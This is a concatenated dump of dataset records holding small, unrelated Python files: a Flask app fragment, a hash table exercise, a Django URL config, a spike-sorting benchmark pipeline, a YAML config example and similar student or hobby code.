db.helloinvestment.insert_one(doc)\n return jsonify({'result': 'success', 'msg': '계산 완료!','unitshare':unitshare,'unitwon':unitwon})\n\nif __name__ == '__main__':\n app.run('0.0.0.0',port=5000,debug=True)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"projects/helloinvestingserver/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"177377659","text":"from datetime import datetime\n\ndef busca(coluna,aux):\n \n for linha in coluna:\n linha = linha.rstrip()\n \n if aux == 1:\n n = linha\n elif aux == 2:\n t = int(linha) + 2\n else:\n if aux < t:\n if linha == n:\n return(True, aux -2)\n elif aux == t and linha ==n:\n return(True, aux -2)\n else:\n return(False, -1)\n\n aux= aux +1\n\n\n\narq = open('dataset-1-c.csv', 'r')\ninicio = datetime.now()\ndados = busca(arq,1)\nfim = datetime.now()\narq.close()\n\ntempo = str((fim-inicio))[8:14] + ' Mircrosegundos'\n\narq_w = open('resposta-dataset-1-c.txt','w')\narq_w.writelines(str(dados[0])+ \"\\n\")\narq_w.writelines(str(dados[1])+ \"\\n\")\narq_w.writelines(tempo)\narq_w.close()","sub_path":"Atividade1/buscaNumero.py","file_name":"buscaNumero.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"438154007","text":"class Solution(object):\r\n def rotate(self, nums, k):\r\n \"\"\"\r\n :type nums: List[int]\r\n :type k: int\r\n :rtype: void Do not return anything, modify nums in-place instead.\r\n \"\"\"\r\n n=len(nums)\r\n k=k%n\r\n copy=nums[:]\r\n for i in nums:\r\n \tcopy.append(i)\r\n # nums=copy[n-k:2*n-k]\r\n for i in range(n):\r\n \tnums[i]=copy[n-k+i]\r\n \r\nSolution().rotate([1,2,3,4,5,6,7],3) ","sub_path":"python/189.Rotate Array.py","file_name":"189.Rotate Array.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"437907357","text":"# '''\n# Linked List hash table key/value pair\n# '''\nclass LinkedPair:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.next = None\n\nclass HashTable:\n '''\n A hash table that with `capacity` buckets\n that accepts string keys\n '''\n def __init__(self, capacity):\n self.capacity = capacity # Number of buckets in the hash table\n self.storage = [None] * capacity\n # self.length = 0\n\n\n def _hash(self, key):\n '''\n Hash an arbitrary key and return an integer.\n\n You may replace the Python hash with DJB2 as a stretch goal.\n '''\n print(hash(key))\n return hash(key)\n\n\n def _hash_djb2(self, key):\n '''\n Hash an arbitrary key using DJB2 hash\n\n OPTIONAL STRETCH: Research and implement DJB2\n '''\n pass\n\n\n def _hash_mod(self, key):\n '''\n Take an arbitrary key and return a valid integer index\n within the storage capacity of the hash table.\n '''\n return self._hash(key) % self.capacity\n\n\n def insert(self, key, value):\n\n # this doesn't put anything in order\n # self.head = self.capacity -1 # the 'head starts from the right side\n # hash(key)\n # cap = self.capacity\n # for i in range(cap-1 , 0 ,-1):\n # # print(i, i-1 )\n # self.storage[ i] = self.storage[i -1 ]\n # # print(i , i-1)\n\n # pair = {hash(key):value}\n # self.storage[0] = pair\n # print(self.storage)\n index = self._hash_mod(key)\n if self.storage[index] is not None:\n print('Collision for key '+ key)\n self.storage[index] = LinkedPair(key,value)\n\n\n\n def get(self):\n print( self.storage )\n return\n\n\n def remove(self, key):\n # for i in self.storage:\n # if i == key:\n # self.storage[i] = None\n # print(self.storage[i])\n # else:\n # print('no key or wrong key')\n index = self._hash_mod(key)\n self.storage[index] = None\n\n def retrieve(self, key):\n\n # hkey = hash(key)\n # print(hkey,'107')\n # for i in range(0, self.capacity-1):\n # if self.storage[i].get(hkey) != hkey:\n # print(self.storage[i].get(hash(key)))\n # else:\n # None\n\n index = self._hash_mod(key)\n if self.storage[index] is None:\n return None\n return self.storage[index].value\n\n def resize(self):\n cap = self.capacity *2\n print(cap )\n '''\n Doubles the capacity of the hash table and\n rehash all key/value pairs.\n\n Fill this in.\n '''\n # pass\n \n# one = HashTable(5)\n# one.resize()\n\n\nif __name__ == \"__main__\":\n ht = HashTable(2)\n\n ht.insert(\"line_1\", \"Tiny hash table\")\n ht.insert(\"line_2\", \"Filled beyond capacity\")\n ht.insert(\"line_3\", \"Linked list saves the day!\")\n\n print(\"\")\n\n # Test storing beyond capacity\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n # Test resizing\n old_capacity = len(ht.storage)\n ht.resize()\n new_capacity = len(ht.storage)\n\n print(f\"\\nResized from {old_capacity} to {new_capacity}.\\n\")\n\n # Test if data intact after resizing\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n print(\"\")","sub_path":"src/hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"461316396","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom django.views import static\n\n\nurlpatterns = [\n url(r'^', include('home.urls')),\n url(r'^portfolio/', include('portfolio.urls')),\n url(r'^contact/', include('contact.urls')),\n url(r'^admin/', include(admin.site.urls)),\n]\n\n\nif settings.DEBUG:\n urlpatterns += [\n url(r'^static/(?P.*)$',\n static.serve,\n {'document_root': settings.STATIC_ROOT}),\n\n url(r'^media/(?P.*)$',\n static.serve,\n {'document_root': settings.MEDIA_ROOT,\n 'show_indexes': True, }),\n ]\n","sub_path":"kamilasliwinska/kamilasliwinska/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"207215653","text":"\n\n#calss header\nclass _SIFT():\n\tdef __init__(self,): \n\t\tself.name = \"SIFT\"\n\t\tself.definitions = [u'to put flour, sugar, etc. through a sieve (= wire net shaped like a bowl) to break up large pieces: ', u'to make a close examination of all the parts of something in order to find something or to separate what is useful from what is not: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_sift.py","file_name":"_sift.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"550756559","text":"import os\nimport yaml\nimport spikeinterface.extractors as se\nimport spikeinterface.sorters as ss\nimport spikeinterface.comparison as sc\nimport spikeinterface.toolkit as st\nimport spikeinterface.widgets as sw\nimport matplotlib.pylab as plt\nimport numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport h5py\nimport numpy as np\nimport json\nimport pickle\n\ndef extract_matchings(confusion_matrix):\n\tprint(confusion_matrix)\n\tmatchings = {}\n\ttrue_to_predicted_matchings = {}\n\tdiscovered_neurons = confusion_matrix.axes[1]\n\tdiscovered_neurons = list(discovered_neurons[:len(discovered_neurons)-1])\n\ttrue_neurons = confusion_matrix.axes[0]\n\ttrue_neurons = list(true_neurons[:len(true_neurons)-1])\n\t#true_neurons.sort()\n\tovershoot = len(discovered_neurons)-len(true_neurons)\n\tfabricated_neurons = []\n\tfabricated_matchings = {}\n\tif overshoot > 0:\n\t\tfabricated_neurons = discovered_neurons[len(discovered_neurons)-overshoot:len(discovered_neurons)]\n\t\tdiscovered_neurons = discovered_neurons[:len(discovered_neurons)-overshoot] \n\t\tfor k in range(len(fabricated_neurons)):\n\t\t\tfabricated_matchings[str(fabricated_neurons[k])] = str(-2 - k)\n\tfor k in range(len(discovered_neurons)):\n\t\tmatchings[str(discovered_neurons[k])] = str(true_neurons[k])\n\t\ttrue_to_predicted_matchings[str(true_neurons[k])] = str(discovered_neurons[k])\n\n\treturn true_to_predicted_matchings,matchings,fabricated_matchings\n\ndef assess_true_spikes(true_spikes,predicted_spikes,matchings):\n\tall_predicted_spikes = predicted_spikes\n\ttemp_predicted_spikes = {}\n\tfor k in matchings.keys():\n\t\ttemp_predicted_spikes[k] = predicted_spikes[k]\n\tpredicted_spikes = temp_predicted_spikes\n\tassessed_true_spikes = []\n\tfor k in true_spikes.keys():\n\t\tassessed_true_spikes += [[int(spike_time), k,'-1'] for spike_time in true_spikes[k]]\n\tassessed_true_spikes.sort(key=lambda el: el[0])\n\tframe_window = 8 #16 frame range implies .5ms detection window\n\t#print(assessed_true_spikes[:100])\n\n\tpred_spikes_remaining = {}\n\tfor k in matchings.keys():\n\t\tpred_spikes_remaining[k] = []\n\n\thit_count = [0]*len(true_spikes.keys()) #I think it will be more straight forward to store the true neuron number\n\tps_keys = predicted_spikes.keys()\n\tarray_indices = [0]*len(ps_keys)\n\tfor true_spike_index,el in enumerate(assessed_true_spikes):\n\t\tcur_spike_time = el[0]\n\t\tfor (index,my_key) in enumerate(ps_keys):\n\t\t\tif matchings[my_key] == el[1]:\n\t\t\t\tpred_neuron_spikes = predicted_spikes[my_key]\n\t\t\t\twhile (array_indices[index] < len(pred_neuron_spikes)) and (pred_neuron_spikes[array_indices[index]] <= cur_spike_time+frame_window):\n\t\t\t\t\tif pred_neuron_spikes[array_indices[index]] >= cur_spike_time-frame_window:\n\t\t\t\t\t\tassessed_true_spikes[true_spike_index][2] = (matchings[my_key])\n\t\t\t\t\t\tarray_indices[index] += 1\n\t\t\t\t\t\thit_count[int(matchings[my_key])] += 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tpred_spikes_remaining[my_key].append(pred_neuron_spikes[array_indices[index]])\n\t\t\t\t\t\tarray_indices[index] += 1\n\n\n\n\tps_keys = predicted_spikes.keys()\n\tarray_indices = [0]*len(ps_keys)\n\tfor true_spike_index,el in enumerate(assessed_true_spikes):\n\t\tcur_spike_time = el[0]\n\t\tfor (index,my_key) in enumerate(ps_keys):\n\t\t\tpred_neuron_spikes = pred_spikes_remaining[my_key]\n\t\t\tif (el[2] == \"-1\") and (matchings[my_key] != el[1]):\n\t\t\t\twhile (array_indices[index] < len(pred_neuron_spikes)) and (pred_neuron_spikes[array_indices[index]] <= cur_spike_time+frame_window):\n\t\t\t\t\tif pred_neuron_spikes[array_indices[index]] >= cur_spike_time-frame_window:\n\t\t\t\t\t\tassessed_true_spikes[true_spike_index][2] = (matchings[my_key])\n\t\t\t\t\t\tarray_indices[index] += 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tarray_indices[index] += 1\n\n\ttotal_true_positive_rate = sum(hit_count)/len(assessed_true_spikes)\n\ttotal_false_positive_rate = (len(assessed_true_spikes)-sum(hit_count))/len(assessed_true_spikes)\n\t#num_predictions = sum([len(all_predicted_spikes[key]) for key in matchings.keys()])\n\tnum_predictions = sum([len(all_predicted_spikes[k]) for k in all_predicted_spikes.keys()])\n\t#need to pass fabricated matchings to this method\n\tnum_bad_predictions = num_predictions-sum(hit_count)\n\ttotal_false_predicition_rate = num_bad_predictions/num_predictions\n\ttotal_statistics = [total_true_positive_rate,total_false_positive_rate,total_false_predicition_rate]\n\n\n\ttrue_positive_rates = [hit_count[k]/len(true_spikes[str(k)]) if hit_count[k] > 0 else -1 for k in range(len(hit_count))]\n\tfalse_negative_rates = [1 - tp for tp in true_positive_rates]\n\tfalse_prediction_rates = []\n\tfor index in range(len(hit_count)):\n\t\tpredicted_neuron = -1\n\t\tfor k in matchings.keys():\n\t\t\tif matchings[k] == str(index):\n\t\t\t\tpredicted_neuron = int(k)\n\t\t\t\tbreak\n\t\tif (predicted_neuron == -1):\n\t\t\tfalse_prediction_rates.append(-1)\n\t\telse:\n\t\t\trate = (len(predicted_spikes[str(predicted_neuron)]) - hit_count[index])/len(predicted_spikes[str(predicted_neuron)])\n\t\t\tfalse_prediction_rates.append(rate)\n\n\treturn total_statistics,true_positive_rates,false_negative_rates,false_prediction_rates,assessed_true_spikes\n\ndef check_for_fabricated(assessed_true_spikes,predicted_spikes,fabricated_matchings):\n\tps_keys = fabricated_matchings.keys()\n\tprint(predicted_spikes.keys())\n\tarray_indices = [0]*len(ps_keys)\n\tframe_window = 8\n\tfor true_spike_index,el in enumerate(assessed_true_spikes):\n\t\tcur_spike_time = el[0]\n\t\tfor (index,my_key) in enumerate(ps_keys):\n\t\t\tpred_neuron_spikes = predicted_spikes[my_key]\n\t\t\tif (el[2] == \"-1\"):\n\t\t\t\twhile (array_indices[index] < len(pred_neuron_spikes)) and (pred_neuron_spikes[array_indices[index]] <= cur_spike_time+frame_window):\n\t\t\t\t\tif pred_neuron_spikes[array_indices[index]] >= cur_spike_time-frame_window:\n\t\t\t\t\t\tassessed_true_spikes[true_spike_index][2] = (fabricated_matchings[my_key])\n\t\t\t\t\t\tarray_indices[index] += 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tarray_indices[index] += 1\n\treturn assessed_true_spikes\n\ndef assess_no_neurons(true_spikes):\n\tassessed_true_spikes = []\n\tfor k in true_spikes.keys():\n\t\tassessed_true_spikes += [[int(spike_time), k,'-1'] for spike_time in true_spikes[k]]\n\tassessed_true_spikes.sort(key=lambda el: el[0])\n\treturn assessed_true_spikes\n\n##################################################\n#Generate Consolidated Templates \n##################################################\n\nbase_directory = os.getcwd()+'/' #NEED TO CHANGE THIS FOR WEB DEPLOYMENT!\nparameters = yaml.full_load(open('client_parameters.yaml'))\nselected_probe = parameters['probe_type']\ntemplate_creation_folder = 'template_creation/'\nos.system('mkdir '+template_creation_folder)\n\n\nfor cell_id in parameters['cells'].keys():\n\tcell = parameters['cells'][cell_id]\n\tindividual_model_folder = cell_id+'_template'\n\tos.system('mkdir '+base_directory+individual_model_folder)\n\tos.system('cp -r '+base_directory+'all_models/'+cell['model']+' '+individual_model_folder)\n\tos.system('./mearec gen-templates -fn '+base_directory+template_creation_folder+'/'+cell_id+'.h5 '+' -cf '+base_directory+individual_model_folder+' -prb '+selected_probe+ ' -r norot -n 1'+\n\t\t\t ' -prm '+base_directory+'templates_params.yaml'+\n\t\t ' -xl '+cell['position']['xpos']+' '+cell['position']['xpos']+'.01'+\n\t\t ' -yl '+cell['position']['ypos']+' '+cell['position']['ypos']+'.01'+\n\t\t ' -zl '+cell['position']['zpos']+' '+cell['position']['zpos']+'.01'+' -v') #added verbose mode\n\tos.system('rm -rf '+individual_model_folder)\n\nos.system('python3 build_h5.py')\n\n\n\n##############################################\n#Generate Recording\n##############################################\nparameters = yaml.full_load(open('client_parameters.yaml'))\nrecordings_parameters = yaml.full_load(open('default_recordings_parameters.yaml'))\t\n\nmy_rates = []\nmy_types = []\nfor cell_id in parameters['cells'].keys():\n\tmy_rates.append(parameters['cells'][cell_id]['rate'])\n\nrecordings_parameters['spiketrains']['rates'] = my_rates\n\nfor cell_id in parameters['cells'].keys():\n\tmy_types.append(parameters['cell_categories'][parameters['cells'][cell_id]['model']])\n\nrecordings_parameters['spiketrains']['types'] = my_types\n\n\n# Noise Parameters\nrecordings_parameters['recordings']['noise_mode'] = parameters['noise']['type']\nrecordings_parameters['recordings']['noise_level'] = parameters['noise']['standard_deviation']\n\nyaml.dump(recordings_parameters, open('my_recordings_parameters.yaml','w')) #default_flow_style=False ???\n\nos.system('./mearec gen-recordings -fn '+base_directory+'new_recording.h5 -t '+base_directory+'combined_templates.h5 '\n\t+' -prm '+base_directory+'my_recordings_parameters.yaml'+' -d '+parameters['duration']+' -v')\n\n\n\n\n###############################################\n# Run Analysis\n##############################################\nsynth_output = {}\nsorting_algorithm_choices = ['tridesclous','ironclust','klusta']\nrecording = se.MEArecRecordingExtractor('new_recording.h5')\nsorting_GT = se.MEArecSortingExtractor('new_recording.h5')\nfor el in sorting_algorithm_choices:\n\tsorting_algorithm = el\n\n\tif sorting_algorithm == 'tridesclous':\n\t\tsorting_result = ss.run_tridesclous(recording)\n\telif sorting_algorithm == 'klusta':\n\t\tavg_accuracy = -1\n\t\tfor k in range(7):\n\t\t\ttemp_sorting_result = ss.run_klusta(recording)\n\t\t\tcomp = sc.compare_sorter_to_ground_truth(sorting_GT, temp_sorting_result)\n\t\t\tperf = str(comp.get_performance())\n\t\t\tperf = perf.split('\\n')\n\t\t\tperf = perf[2:len(perf)]\n\t\t\taccuracies = []\n\t\t\tfor line in perf:\n\t\t\t\taccuracies.append( float((line.split())[1]) )\n\t\t\ttemp_avg_accuracy = sum(accuracies)/len(accuracies)\n\t\t\tif(temp_avg_accuracy > avg_accuracy):\n\t\t\t\tavg_accuracy = temp_avg_accuracy\n\t\t\t\tsorting_result = temp_sorting_result\n\telif sorting_algorithm == 'herdingspikes':\n\t\tsorting_result = ss.run_herdingspikes(recording)\n\telif sorting_algorithm == 'ironclust':\n\t\tsorting_result = ss.run_ironclust(recording)\n\telif sorting_algorithm == 'kilosort':\n\t\tsorting_result = ss.run_kilosort(recording)\n\telif sorting_algorithm == 'waveclus':\n\t\tsorting_result = ss.run_waveclus(recording)\n\n\tcomp = sc.compare_sorter_to_ground_truth(sorting_GT, sorting_result)\n\tdata = h5py.File('new_recording.h5','r')\n\n\ttrue_spikes = {}\n\n\tfor neuron_id in sorting_GT.get_unit_ids():\n\t\ttrue_spikes[str(neuron_id)] = (sorting_GT.get_unit_spike_train(unit_id=neuron_id))\n\n\n\ttrue_to_predicted_matchings,matchings,fabricated_matchings = extract_matchings(comp.get_confusion_matrix())\n\tprint(\"matchings:\")\n\tprint(matchings)\n\tprint(\"fabricated_matchings:\")\n\tprint(fabricated_matchings)\n\n\tpredicted_spikes = {}\n\n\tfor my_key in fabricated_matchings.keys():\n\t\tpredicted_spikes[my_key] = sorting_result.get_unit_spike_train(unit_id=int(my_key))\n\n\tfor my_key in matchings.keys():\n\t\tpredicted_spikes[my_key] = sorting_result.get_unit_spike_train(unit_id=int(my_key))\n\n\n\n\tnumpy_traces = recording.get_traces()\n\tvoltage_traces = []\n\tfor k in range(4):\n\t\tvoltage_traces.append([int(el) for el in numpy_traces[k]])\n\n\n\n\tif (predicted_spikes == {}):\n\t\tsummary_statistics = []\n\t\ttotal_statistics = [0]*5\n\t\tfor k in range(len(sorting_GT.get_unit_ids())):\n\t\t\tnew_entry = [len(true_spikes[str(k)]),-1,-1,-1,-1]\n\t\t\tsummary_statistics.append(new_entry)\n\t\t\ttotal_statistics[0] += new_entry[0]\n\n\n\t\tnum_predicted = [len(predicted_spikes[k]) for k in predicted_spikes.keys()]\n\t\ttotal_statistics[1] = -1\n\t\ttotal_statistics[2] = -1\n\t\ttotal_statistics[3] = -1\n\t\ttotal_statistics[4] = -1\n\n\t\tassessed_true_spikes = assess_no_neurons(true_spikes)\n\n\n\t\tsynth_output[sorting_algorithm] = {'voltage_traces':voltage_traces,'performance_trace':assessed_true_spikes, 'results':'no spikes', 'discovered_neurons':len(sorting_GT.get_unit_ids())\n\t\t\t\t\t\t\t\t\t\t\t\t\t,'num_fabricated':0,'fabricated_spikes':{},'summary_statistics':summary_statistics,'total_statistics':total_statistics}\n\t\tcontinue\n\n\t(my_total_statistics,true_positive_rates,false_negative_rates,false_prediction_rates,assessed_true_spikes) = assess_true_spikes(true_spikes,predicted_spikes,matchings)\n\n\tassessed_true_spikes = check_for_fabricated(assessed_true_spikes,predicted_spikes,fabricated_matchings)\n\t \n\tsummary_statistics = []\n\ttotal_statistics = [0]*5\n\ttrue_neurons_discovered = [matchings[k] for k in matchings.keys()]\n\tfor k in range(len(sorting_GT.get_unit_ids())):\n\t\tpred_spikes = -1\n\t\tif str(k) in true_to_predicted_matchings.keys():\n\t\t\tpred_spikes = len(predicted_spikes[true_to_predicted_matchings[str(k)]])\n\t\tnew_entry = [len(true_spikes[str(k)]),pred_spikes,true_positive_rates[k],false_negative_rates[k],false_prediction_rates[k]]\n\t\tsummary_statistics.append(new_entry)\n\t\ttotal_statistics[0] += new_entry[0]\n\n\n\tnum_predicted = [len(predicted_spikes[k]) for k in predicted_spikes.keys()]\n\ttotal_statistics[1] = sum(num_predicted)\n\ttotal_statistics[2] = my_total_statistics[0]\n\ttotal_statistics[3] = my_total_statistics[1]\n\ttotal_statistics[4] = my_total_statistics[2]\n\n\tfabricated_spikes = {}\n\tfor k in fabricated_matchings.keys():\n\t\tfabricated_spikes[fabricated_matchings[k]] = len(predicted_spikes[k])\n\n\tnum_fabricated = len(fabricated_matchings.keys())\n\n\tsynth_output[sorting_algorithm] = {'voltage_traces':voltage_traces,'performance_trace':assessed_true_spikes, 'results':str(comp.get_performance()), 'discovered_neurons':len(sorting_GT.get_unit_ids())\n\t\t\t\t\t\t\t\t\t\t\t\t\t,'num_fabricated':num_fabricated,'fabricated_spikes':fabricated_spikes,'summary_statistics':summary_statistics,'total_statistics':total_statistics}\n\n\npickle.dump(synth_output, open('synth_output.pickle','wb'))\n###############################################\n# CLEAN UP\n##############################################\nos.system('rm client_parameters.yaml')\nos.system('rm new_recording.h5')\nos.system('rm -rf template_creation/')\nos.system('rm combined_templates.h5')\nos.system('rm my_recordings_parameters.yaml')\n\n\n\n\n\n\n\n\n\t\n","sub_path":"synth.py","file_name":"synth.py","file_ext":"py","file_size_in_byte":13570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"283515272","text":"dataset_type = 'VisualDialogDatasetDense'\ndata_root = '/home/datasets/mix_data/iMIX/'\nfeature_path = 'data/datasets/visdial_data/features/'\nannotation_path = 'data/datasets/visdial_data/annotations_npy/'\ntokenizer_path = '/home/datasets/mix_data/torch/pytorch_transformers/bert/bert-base-uncased/bert-base-uncased-vocab.txt'\n\ntrain_datasets = ['train']\ntest_datasets = ['val']\n\nimg_feature_reader = dict(type='ImageFeaturesH5Reader', )\n\ntrain_reader_cfg = dict(\n type='VisDiaReader',\n mix_features=dict(train=data_root + feature_path + 'visdial_img_feat.lmdb', ),\n mix_annotations=dict(\n train=data_root + annotation_path + 'visdial_1.0_train_dense_processed.npy',\n dense=data_root + annotation_path + 'visdial_1.0_train_dense_annotations_processed.json'),\n image_feature_max_regions=37,\n datasets=train_datasets, # used datasets\n image_feature_reader=img_feature_reader,\n mask_img_probability=0,\n)\n\ntest_reader_cfg = dict(\n type='VisDiaReader',\n mix_features=dict(val=data_root + feature_path + 'visdial_img_feat.lmdb', ),\n mix_annotations=dict(\n val=data_root + annotation_path + 'visdial_1.0_val_processed.npy',\n # val=data_root + annotation_path + 'visdial_1.0_val_processed_small64.npy',\n dense=data_root + annotation_path + 'visdial_1.0_val_dense_annotations_processed.json'),\n image_feature_max_regions=37,\n datasets=test_datasets, # used datasets\n image_feature_reader=img_feature_reader,\n mask_img_probability=0,\n)\n\ntrain_info_cpler_cfg = dict(\n type='VisualDialogDenseInfoCpler',\n tokenizer=dict(path=tokenizer_path),\n num_options=100, # number of options to use. [2,100]\n num_negative_samples=1, # number of negative samples for every positive sample for the nsp loss\n visual_dialog_tot_rounds=11,\n # number of rounds to use in visdial,caption is counted as a separate round, therefore a maximum of 11\n # rounds possible\n max_sequence_len=256, # maximum sequence length for the dialog sequence\n # sequences_per_image=8, # number of sequences sampled from an image during training\n mask_probability=0, # probability used to sample masked tokens\n has_bert=True,\n)\ntest_info_cpler_cfg = dict(\n type='VisDiaInfoCpler',\n tokenizer=dict(path=tokenizer_path),\n num_options=100, # number of options to use. [2,100]\n num_negative_samples=1, # number of negative samples for every positive sample for the nsp loss\n visual_dialog_tot_rounds=11,\n # number of rounds to use in visdial,caption is counted as a separate round, therefore a maximum of 11\n # rounds possible\n max_sequence_len=256, # maximum sequence length for the dialog sequence\n sequences_per_image=8, # number of sequences sampled from an image during training\n mask_probability=0, # probability used to sample masked tokens\n has_bert=True,\n)\n\ntrain_data = dict(\n samples_per_gpu=1, # 16\n workers_per_gpu=0,\n data=dict(type=dataset_type, reader=train_reader_cfg, info_cpler=train_info_cpler_cfg),\n drop_last=True,\n pin_memory=False,\n)\n\ntest_data = dict(\n samples_per_gpu=2,\n workers_per_gpu=0,\n data=dict(type='VisDialDataset', reader=test_reader_cfg, info_cpler=test_info_cpler_cfg),\n sampler='DistributedSampler',\n drop_last=True,\n is_run_eval=False,\n)\n\npost_processor = dict(\n type='Evaluator', metrics=[dict(type='VisDialMetric')], dataset_converters=[dict(type='VisDialDatasetConverter')])\n","sub_path":"configs/_base_/datasets/visual-dialog/visual_dialog_with_dense_annotations.py","file_name":"visual_dialog_with_dense_annotations.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"427353221","text":"\nimport math\nimport turtle\n\nwn = turtle.Screen()\nwn.bgcolor('lightblue')\n\nPI=3.14\nangle=2*PI/72\n\nfred = turtle.Turtle()\nfred.speed(99999)\nR1 = 200\nR2 = 100\ncycle=1\ntotal_steps=360\nsteps=1\nalpha=2*PI/8\n\ni=0\nwhile i <= 10000:\n t = math.radians(i)\n x = R1*math.cos(3*t)\n y = R1*math.sin(3*t)\n x1 = 100+R2*math.cos(7*t+alpha)*math.cos(t)\n y1 = 100+R2*math.sin(7*t+alpha)*math.sin(t)\n fred.penup()\n fred.goto(x,y)\n fred.pendown()\n fred.goto(x1,y1)\n fred.penup()\n i = i+steps\n\nwn.exitonclick()\n##a = raw_input()\n","sub_path":"src/double_circle_ray3.py","file_name":"double_circle_ray3.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"120352715","text":"''' Configparserの代わりにYAML形式で保存する場合\n\npip install pyyaml\n\nimport yaml\n\nYAMLファイルを読み込む際には脆弱性の観点からLoaderオプションを使うことを推奨\nまた読み込み時に型が全てStringであることに注意\n\nhttps://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation\n\n'''\n\nimport yaml\n\nwith open('parse.yaml', 'w') as yaml_file:\n yaml.dump({\n 'Server': {\n 'ip': '192.168.0.1',\n 'port': 3306\n },\n 'User1': {\n 'id': 1,\n 'name': 'user1',\n 'attend': False\n }\n }, yaml_file)\n\nwith open('parse.yaml', 'r') as yaml_file:\n config = yaml.load(yaml_file, Loader=yaml.BaseLoader)\n print(config['Server']['ip'])\n print(config['Server']['port'], type(config['Server']['port']))\n print(config['User1']['attend'], type(config['User1']['attend']))\n","sub_path":"Python/configparser/parse_by_yaml.py","file_name":"parse_by_yaml.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"340215839","text":"#\n# Joel Labbe\n#\n# invest.py\n#\n# A program that uses a while loop to determine how long it takes for an investment\n# to double at a given interest rate. \n#\n# Input: Annualized interest rate\n#\n# Processing: 1. Set up primers and accumulators\n# 2. Prompt user for the annual interest rate\n# 3. Use a while loop to calculate how long it takes to double money ($1)\n# 4. Display result\n#\n# Output: Years to double an account balance\n#\n\ndef main():\n print(\"Number of years for an investment to double\")\n print()\n\n # Set up primers and accumulators\n initial = 1\n count = 0\n\n # Prompt user for the annual interest rate\n interest = eval(input(\"What is the annual interest rate? \"))\n\n # Use a while loop to calculate how long it takes to double money ($1)\n while (initial < 2):\n initial = initial + (initial * (interest/100))\n count = count + 1\n # Display result\n print(\"Years to double:\", count)\n\nmain()\n \n \n \n \n","sub_path":"Labs/Chapter 8/invest.py","file_name":"invest.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"509123013","text":"import random\n\ndef exclude_minimal_triforce_hunt(weight_dict, random_settings):\n \"\"\" If triforce hunt is enabled, reroll the item pool excluding minimal. \"\"\"\n weights = weight_dict['item_pool_value']\n if 'minimal' in weights.keys() and random_settings['triforce_hunt'] == \"true\":\n weights.pop('minimal')\n random_settings['item_pool_value'] = random.choices(list(weights.keys()), weights=list(weights.values()))[0]\n\ndef exclude_ice_trap_misery(weight_dict, random_settings):\n \"\"\" If the damage multiplier is quad or OHKO, exclude ice trap onslaught and mayhem. \"\"\"\n weights = weight_dict['junk_ice_traps']\n if 'mayhem' in weights.keys() and random_settings['damage_multiplier'] in ['quadruple', 'ohko']:\n weights.pop('mayhem')\n if 'onslaught' in weights.keys() and random_settings['damage_multiplier'] in ['quadruple', 'ohko']:\n weights.pop('onslaught')\n random_settings['junk_ice_traps'] = random.choices(list(weights.keys()), weights=list(weights.values()))[0]\n\ndef exclude_overworld_mixed_pools(random_settings):\n \"\"\" If Overworld ER is enabled, mixed entrance pools should be disabled. \"\"\"\n if random_settings['shuffle_overworld_entrances'] == \"true\":\n random_settings['mix_entrance_pools'] = \"false\"\n","sub_path":"Conditionals.py","file_name":"Conditionals.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"159642602","text":"'''\nCreated on 28 Feb 2018\n\n@author: jerald\n'''\nimport h5py\nfilename = 'my_model.h5'\nf = h5py.File(filename, 'r')\n\n# List all groups\nprint(\"Keys: %s\" % f.keys())\na_group_key = list(f.keys())[0]\n\n# Get the data\ndata = list(f[a_group_key])\nprint(data)","sub_path":"ReadHDF5.py","file_name":"ReadHDF5.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
